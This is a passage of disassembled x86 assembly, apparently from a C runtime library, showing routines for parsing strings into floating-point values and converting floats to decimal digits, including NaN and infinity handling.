		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D0D8
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D0D8
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D0D8
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D0D4, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CEC8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D0D8
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D0D4, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CEC8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D0D4, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CEC8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D0D4, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CEC8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D0D4, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CEC8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
